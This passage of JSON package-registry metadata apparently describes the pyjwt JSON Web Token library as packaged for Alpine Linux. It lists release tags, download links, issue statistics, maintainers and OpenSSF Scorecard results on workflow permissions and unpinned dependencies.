yjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.653Z","dependent_packages_count":5,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":7.34284204965663,"stargazers_count":2.535657686212361,"forks_count":2.3008745671186244,"average":3.0448435757469037},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.16","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-jwt/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":189,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2023-02-01T12:26:50.515Z","updated_at":"2023-02-01T12:26:50.515Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.16","url":"https://pkgs.alpinelinux.org/packages?branch=v3.16","ecosystem":"alpine","default":false,"packages_count":17040,"maintainers_count":328,"namespaces_count":2,"keywords_count":2855,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":924},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.662Z","updated_at":"2026-06-10T05:18:19.682Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/namespaces"}},{"id":6209871,"name":"py3-jwt-cli","ecosystem":"alpine","description":"Python3 JSON Web Token implementation (CLI utility)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2020-04-02T01:43:47.000Z","latest_release_published_at":"2020-04-02T01:43:47.000Z","latest_release_number":"1.7.1-r3","last_synced_at":"2026-04-15T02:02:25.851Z","created_at":"2023-02-01T02:50:23.400Z","updated_at":"2026-05-29T04:00:35.668Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.13/community/x86_64/py3-jwt-cli","install_command":"apk add py3-jwt-cli","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using 